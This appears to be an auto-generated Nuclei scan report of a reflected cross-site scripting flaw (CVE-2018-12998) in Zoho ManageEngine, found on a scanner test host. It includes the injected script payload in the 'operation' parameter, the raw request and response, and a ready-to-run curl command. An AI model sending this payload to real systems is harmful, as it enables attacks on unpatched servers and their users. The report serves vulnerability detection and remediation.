Zoho manageengine - Cross-Site Scripting (CVE-2018-12998) found on honey.scanme.sh

[mkrs2404]

Details: CVE-2018-12998 matched at honey.scanme.sh

Protocol: HTTP

Full URL: https://honey.scanme.sh/servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=11111111%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Timestamp: Tue Apr 30 13:42:08 +0000 UTC 2024

Source: https://cloud.projectdiscovery.io/vuln/3066674a1932244004411a8b7235ace2

Template Information

Key	Value
Name	Zoho manageengine - Cross-Site Scripting
Authors	pikpikcu
Tags	cve, cve2018, zoho, xss, manageengine, packetstorm, zohocorp
Severity	medium
Description	Zoho manageengine is vulnerable to reflected cross-site scripting. This impacts Zoho ManageEngine Netflow Analyzer before build 123137, Network Configuration Manager before build 123128, OpManager before build 123148, OpUtils before build 123161, and Firewall Analyzer before build 123147 via the parameter 'operation' to /servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet.
Remediation	Apply the latest security patch or update provided by Zoho ManageEngine to fix the XSS vulnerability.
CVSS-Metrics	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CWE-ID	CWE-79
CVE-ID	CVE-2018-12998
CVSS-Score	6.10
vendor	zohocorp
product	firewall_analyzer

Request

GET /servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=11111111%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: honey.scanme.sh
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

Response

HTTP/1.1 200 OK
Connection: close
Content-Length: 379
Content-Type: text/html
Date: Tue, 30 Apr 2024 13:42:08 GMT

GET /servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=11111111</script><script>alert(document.domain)</script> HTTP/1.1
Host: honey.scanme.sh
Accept: */*
Accept-Encoding: gzip
Accept-Language: en
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36

References:

• https://github.com/unh3x/just4cve/issues/10
• http://packetstormsecurity.com/files/148635/Zoho-ManageEngine-13-13790-build-XSS-File-Read-File-Deletion.html
• https://nvd.nist.gov/vuln/detail/CVE-2018-12998
• https://github.com/ARPSyndicate/kenzer-templates

CURL command

curl -X 'GET' -H 'Accept: */*' -H 'Accept-Language: en' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36' 'https://honey.scanme.sh/servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=11111111%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

---

Generated by Nuclei v3.2.5